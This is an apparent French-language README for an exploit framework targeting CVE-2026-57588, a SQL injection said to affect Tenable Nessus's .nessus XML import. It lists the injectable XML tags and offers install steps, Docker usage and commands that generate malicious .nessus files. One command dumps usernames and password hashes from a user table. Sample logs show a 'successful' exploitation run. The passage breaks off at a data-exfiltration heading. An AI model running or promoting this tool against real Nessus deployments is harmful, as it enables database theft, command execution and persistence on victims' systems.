🛡️ CVE-2026-57588 - Framework d'exploitation par injection SQL Nessus

📋 Table des matières

• Présentation
• Détails de la vulnérabilité
• Fonctionnalités
• Installation
• Démarrage rapide
• Exemples d'utilisation
• Types de charges utiles
• Scénarios avancés
• Rapports
• Dépannage
• Considérations de sécurité
• Licence

🔍 Présentation

CVE-2026-57588 est une vulnérabilité critique d'injection SQL découverte dans Tenable Nessus versions 10.12.0 et antérieures. La vulnérabilité réside dans le mécanisme d'analyse XML lors de l'importation des fichiers de résultats de scan .nessus, permettant aux utilisateurs authentifiés disposant de privilèges d'importation d'exécuter des requêtes SQL arbitraires contre la base de données PostgreSQL backend.

⚠️ Détails de la vulnérabilité

🔬 Détails techniques

La vulnérabilité existe en raison d'une désinfection insuffisante des valeurs des balises XML avant leur incorporation dans les requêtes SQL lors du processus d'importation. Un acteur malveillant peut concevoir un fichier .nessus contenant des charges utiles d'injection SQL spécialement élaborées dans des balises XML telles que :

• hostname
• fqdn
• os
• system-type
• mac-address
• netbios-name

Lorsqu'un utilisateur privilégié importe le fichier malveillant, les valeurs non désinfectées sont exécutées contre le backend PostgreSQL, permettant :

• Énumération de la base de données
• Exfiltration de données
• Exécution de commandes
• Accès au système de fichiers
• Installation de persistance

✨ Fonctionnalités

📦 Installation

🐍 Prérequis

• Python 3.7 ou supérieur
• pip (gestionnaire de paquets Python)
• Git (optionnel, pour le clonage)

🔧 Installation rapide

# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

🐳 Installation Docker

# Build the Docker image
docker build -t nessus-exploit .

# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

📦 Installation du paquet

# Install as a package
pip install -e .

# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum

🚀 Démarrage rapide

Utilisation de base

# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum

# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

Aide des commandes

# Show general help
python3 exploit.py --help

# Show generate command help
python3 exploit.py generate --help

# List all available payloads
python3 exploit.py list

💡 Exemples d'utilisation

1. Énumération de base

python3 exploit.py generate -u https://test.com -p enum

[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s

============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================

2. Exploitation avancée multi-étapes

python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

3. Exfiltration de données